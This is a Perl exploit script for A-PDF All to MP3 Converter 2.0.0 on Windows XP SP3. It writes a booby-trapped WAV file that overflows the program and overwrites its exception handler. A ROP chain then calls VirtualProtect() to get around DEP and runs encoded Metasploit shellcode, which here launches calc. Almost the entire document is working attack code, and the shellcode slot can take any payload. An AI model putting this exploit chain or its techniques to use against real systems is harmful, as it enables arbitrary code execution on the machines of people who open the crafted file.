# Exploit Title: A-PDF All to MP3 Converter v.2.0.0 DEP Bypass
# Software Link: http://www.a-pdf.com/all-to-mp3/download.htm
# Version: 2.0.0
# Tested on: Win XP SP3 French
# Date: 12/05/2011
# Author: h1ch4m
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com
# Big thanks to corelanc0d3r for the Help & the Precious advices

my $file= "1.wav";
my $size = 8000;
my $junk = "\x41" x 4136;

#######################      STACK PIVOT      ###########################
my $SEH = pack('V', 0x00408E66);        # ADD ESP,400 # RETN - Alltomp3.exe -  ** Null byte **
my $JUNK_TO_ROP = "D" x 40;

#######################     STACK POINTER     ###########################
my $ROP = pack('V', 0x0042C86F);        # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
$ROP .= "A" x 8; 
$ROP .= pack('V', 0x1003176D);          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1001FF5D);          # ADD ESP,18 # RETN - lame_enc.dll -  ** 

############ Parameters for VirtualProtect() ############
$ROP .= pack('V', 0x7c801ad4);          # VirtualProtect()  0x7c801ad4 Kernel32.dll
$ROP .= "AAAA";                         # Parameter 1
$ROP .= "BBBB";                         # Parameter 2
$ROP .= "CCCC";                         # Parameter 3
$ROP .= "DDDD";                         # Parameter 4
$ROP .= pack("V", 0x6D00E010);          # Writeable address

######################   PARAMETER 1  ###########################
$ROP .= pack('V', 0x004081CB);          # ADD EAX,10 # RETN [Module : Alltomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x1002B910);          # ADD EAX,8 # RETN [Module : lame_enc.dll]  ** 
$ROP .= pack('V', 0x004BB477);          # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : Alltomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x1003176D);          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C6A4);          # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll]  ** 
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C67A);          # ADD EAX,80 # POP EBP # RETN [Module : lame_enc.dll]  ** 
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C696);          # ADD EAX,40 # POP EBP # RETN [Module : lame_enc.dll]  ** 
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1002B23D);          # ADD EAX,20 # RETN [Module : lame_enc.dll]  ** 
$ROP .= pack('V', 0x004081CB);          # ADD EAX,10 # RETN [Module : Alltomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x1003303A);          # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 
######################   PARAMETER 2  ###########################
$ROP .= pack('V', 0x10002388);          # MOV DWORD PTR DS:[ECX+4],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll]  ** Null byte **

######################   PARAMETER 3  ###########################
$ROP .= pack('V', 0x1003C6A4);          # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll]  **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C6A4);          # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll]  **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C6A4);          # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll]  **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x100023D1);          # MOV DWORD PTR DS:[ECX+8],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll]  ** Null byte **

######################   PARAMETER 4  ###########################
$ROP .= pack('V', 0x1003C696);          # ADD EAX,40 # POP EBP # RETN [Module : lame_enc.dll]  ** 
$ROP .= "A" x 4;
$ROP .= pack('V', 0x100023A8);          # MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll]  ** Null byte **

################### Jump To VirtualProtect() #####################
$ROP .= pack('V', 0x1003176D);          # MOV EAX,EDI # POP ESI # RETN  [Module : lame_enc.dll]  ** 
$ROP .= "A" x 4;
$ROP .= pack('V', 0x004081CB);          # ADD EAX,10 # RETN [Module : Alltomp3.exe]  ** Null byte **
$ROP .= pack('V', 0x0040C10B);          # ADD EAX,4 # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x6D00C3D1);          # XCHG EAX,ESP # RETN [Module : CDRip122.dll]  ** Null byte **

#######################    NOPS     ###########################
my $NOPS = "\x90" x (500-length($ROP));

#######################  SHELLCODE  ###########################
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" .
"\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" .
"\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" .
"\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" .
"\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" .
"\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" .
"\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" .
"\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" .
"\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" .
"\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" .
"\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" .
"\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" .
"\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" .
"\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" .
"\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" .
"\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51";

my $REST = "\x42" x ($size-length($junk.$SEH.$JUNK_TO_ROP.$ROP.$NOPS.$shellcode));

open($FILE,">$file");
print $FILE $junk.$SEH.$JUNK_TO_ROP.$ROP.$NOPS.$shellcode.$REST;
close($FILE);
print "File Created successfully\n";
sleep(1);